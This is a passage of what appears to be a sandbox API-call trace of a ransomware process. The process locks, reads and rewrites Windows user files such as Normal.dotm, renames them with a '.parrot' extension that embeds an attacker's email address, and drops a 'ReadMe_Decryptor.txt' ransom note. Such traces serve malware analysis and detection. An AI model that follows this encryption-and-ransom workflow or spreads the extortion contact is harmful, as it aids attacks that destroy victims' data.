ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.667] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.667] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.667] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5db78910, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x509b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0055.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0055.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.667] lstrcmpW (lpString1="Normal.dotm", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0055.668] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x509b [0055.668] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51b3, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.668] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.668] ReadFile (in: hFile=0x318, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0055.669] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.671] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x509b, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f4b4*=0x509b, lpOverlapped=0x0) returned 1 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0055.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0055.672] GetLastError () returned 0x0 [0055.672] SetLastError (dwErrCode=0x0) [0055.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0055.672] GetLastError () returned 0x0 [0055.672] SetLastError (dwErrCode=0x0) [0055.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0055.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.673] GetLastError () returned 0x0 [0055.673] SetLastError (dwErrCode=0x0) [0055.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0055.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0055.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0055.673] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x38b2060 [0055.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x38d2048 [0055.675] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b2060 | out: hHeap=0x540000) returned 1 [0055.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x38d4088 [0055.675] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d2048 | out: hHeap=0x540000) returned 1 [0055.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x290de38 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d4088 | out: hHeap=0x540000) returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb) returned 0x5f4c28 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0055.677] GetLastError () returned 0x0 [0055.677] SetLastError (dwErrCode=0x0) [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0055.677] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0055.677] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609048 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0055.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0055.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x63e990 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x38d2048 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x38d4010 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d2048 | out: hHeap=0x540000) returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x38d6fa8 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d4010 | out: hHeap=0x540000) returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x2915e78 [0055.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38d6fa8 | out: hHeap=0x540000) returned 1 [0055.679] WriteFile (in: hFile=0x318, lpBuffer=0x2915e80*, nNumberOfBytesToWrite=0x51b8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2915e80*, lpNumberOfBytesWritten=0x18f4b4*=0x51b8, lpOverlapped=0x0) returned 1 [0055.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2915e78 | out: hHeap=0x540000) returned 1 [0055.680] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51b3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.680] CloseHandle (hObject=0x318) returned 1 [0055.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0055.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1dd0 [0055.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0055.681] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1dd0 | out: hHeap=0x540000) returned 1 [0055.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0055.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x290de38 | out: hHeap=0x540000) returned 1 [0055.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0055.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0055.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0055.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0055.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0056.013] GetFileType (hFile=0x2d4) returned 0x1 [0056.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0056.026] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0056.026] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0375fe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0375fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.027] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb021f380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x51b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="NORMAL~1.PAR")) returned 1 [0056.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.027] lstrcmpW (lpString1="Normal.dotm.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1dd0 [0056.027] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb021f380, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb021f380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0056.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.027] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.027] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb021f380, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb021f380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0056.027] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0056.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0056.028] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0056.028] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0056.028] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0056.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0056.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0056.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0056.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0056.028] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0056.179] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.179] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.179] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.179] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.179] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0056.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.179] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0056.287] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x2 [0056.287] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11a, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.287] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0056.287] CloseHandle (hObject=0x318) returned 1 [0056.287] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0056.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0056.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0056.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0056.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0056.288] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0056.398] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0056.398] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.399] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0056.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.399] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0056.399] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0056.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0056.399] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0056.400] 